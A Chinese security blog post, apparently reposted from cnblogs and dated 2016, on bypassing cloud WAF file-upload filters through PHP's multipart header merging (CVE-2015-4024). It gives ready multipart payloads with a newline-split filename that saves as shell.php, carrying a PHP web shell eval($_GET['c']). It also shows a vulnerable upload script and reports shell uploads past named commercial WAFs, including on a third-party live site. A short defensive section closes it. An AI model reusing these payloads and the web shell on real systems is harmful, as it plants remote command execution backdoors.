标签:
目前国内外流行的云WAF厂商有如百度云加速,360网站卫士,加速乐,云盾等。因为PHP远程dos漏洞及PHP官方修复方案的特点,我们成功利用该漏洞绕过了当前主流WAF的文件上传防御,例如百度云加速、360网站卫士、知道创于加速乐、安全狗。
接下来,我们以PHP为例,详细解析我们的绕过方法。
根据PHP DOS漏洞原理,在multipart_buffer_headers
函数解析header对应value时,value值存在n行。每行的字符串以空白符开头或不存字符‘:‘,都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块,从而导致DOS。
1
2
3
4
5
6
7
8
9
10
11
|
prev_len= strlen (prev_entry.value); cur_len= strlen (line); entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存 memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝 memcpy(entry.value+ prev_len, line, cur_len); //1次拷贝 entry.value[cur_len+ prev_len] = ‘\0‘ ; entry.key= estrdup(prev_entry.key); zend_llist_remove_tail(header); //1次内存释放 |
而PHP官方修复方案,在进行合并时,避免重复拷贝,从而避免DOS。绕过WAF的关键在于,PHP multipart_buffer_headers
函数解析header对应value时,value值存在多行。每行的字符串以空白符开头或不存字符‘:‘,将进行合并。而WAF在解析文件上传的文件名时,没有考虑协议兼容,不进行多行合并,就可以被绕过。
根据原理构造绕过WAF文件上传防御的payload,WAF解析到的文件名为”test3.jpg”,而PHP解析到的文件名是“test3.jpg\nf/shell.php
”,因为”/”是目录分隔符,上传的文件名变为shell.php。以下是绕过paylaod、测试脚本、paylaod进行文件上传的效果图。
WAF绕过payload:
1
2
3
4
5
6
|
------WebKitFormBoundaryx7V4AhipWn8ig52y Content-Disposition: form-data; name= "file" ; filename="test3.jpg\nsf/shell.php Content-Type: application/octet-stream <?php eval ( $_GET [ ‘c‘ ])?> ------WebKitFormBoundaryx7V4AhipWn8ig52y |
文件上传功能测试脚:
1
2
3
4
5
6
7
8
9
|
<?php $name = $_FILES [ ‘file‘ ][ ‘name‘ ]; echo $name ; echo "\n" ; move_uploaded_file( $_FILES [ ‘file‘ ][ ‘tmp_name‘ ] , ‘/usr/local/nginx/html/upload/‘ . $_FILES [ ‘file‘ ][ ‘name‘ ]); echo "upload success! " . $_FILES [ ‘file‘ ][ ‘name‘ ]; echo "\n" ; echo strlen ( $_FILES [ ‘file‘ ][ ‘name‘ ]); ?> |
Payload能够正常上传
笔者通过搭建自己的测试站,接入360网站卫士和加速乐,验证绕过WAF文件上传防御的方法。
步骤1,验证网站已被360网站卫士防御,拦截了直接上传PHP文件的请求。
步骤2:成功绕过360网站卫士,上传shell成功,文件是apo.php。在该请求中,有没有Content-Type不影响绕过。
步骤一:验证网站被加速乐保护,拦截了直接上传PHP文件的请求。
步骤二:
成功绕过加速乐,上传shell,文件是syt.php。
百度云加速与CloudFlare,从百度匀加速拦截页面可以看出使用的是CloudFlare. 但是估计有本地化,百度云加速应该是百度和CloudFlare共同产物吧。测试百度没有搭建自己的测试环境,找了个接入了百度云加速的站进行测试。
步骤一:验证网站被百度云加速保护,拦截了直接上传PHP文件的请求。
步骤二:成功绕过云加速
用该方法测试安全狗的文件上传,
1
2
3
|
Content-Disposition: form-data; name= "file" ; filename="2.php aa: Content-Type: image /jpeg |
php与aa这间的是%0a
,处理请求的Apache进程直接崩溃。感觉可以溢出,没有深入。
为了测试能否绕过国外版的CloudFlare,特意买了它的服务。结果,在规则全开的情况下,竞然不拦截文件上传。
亚马逊的WAF没有规则,所有规则需要用户配置。在配置的选项里,没有文件上传的选项,所以也就没有绕过的说法。国内WAF和国外WAF的区别挺大,为什么这么设计还是值得深思。
我们还绕过了其他WAF,这里不一一列举。
同理,我们发现除了双引号外,使用单引号也能绕过WAF的防御,并实现文件上传。
1
2
3
4
5
6
|
------WebKitFormBoundaryx7V4AhipWn8ig52y Content-Disposition: form-data; name= "file" ; filename=‘test3.jpg\nsf/shell.php Content-Type: application/octet-stream <?php eval ( $_GET [ ‘c‘ ])?> ------WebKitFormBoundaryx7V4AhipWn8ig52y |
我们也发现jsp解析也有自己的特点,同时可被用于绕过WAF。暂时未测试asp,aspx,python等常用的WEB应用脚本语言。
解析文件上传请求时,如果发现请求不符合协议规范,则拒绝请求。可能会产生误拦截,需要评估误拦截的影响范围。
兼容php的文件解析方式,解析文件名时,以单引号或双引号开头,并且对应的单引号或双引号闭合。
本文通过Review PHP远程dos漏洞(CVE-2015-4024),并利用该特性绕过现有WAF的文件上传防御,成功上传shell。 更重要的价值,提供给我们一个绕过WAF的新思路,一种研究新方向:利用后端应用脚本与WAF行为的差异绕过WAF的防御。总的来说,一款优秀的WAF应该能够处理兼容WEB应用容器、标准协议、web服务器这间的差异。
2016 01 17
小kBy:6971689
标签:
原文地址:http://www.cnblogs.com/xiaokblog/p/5138669.html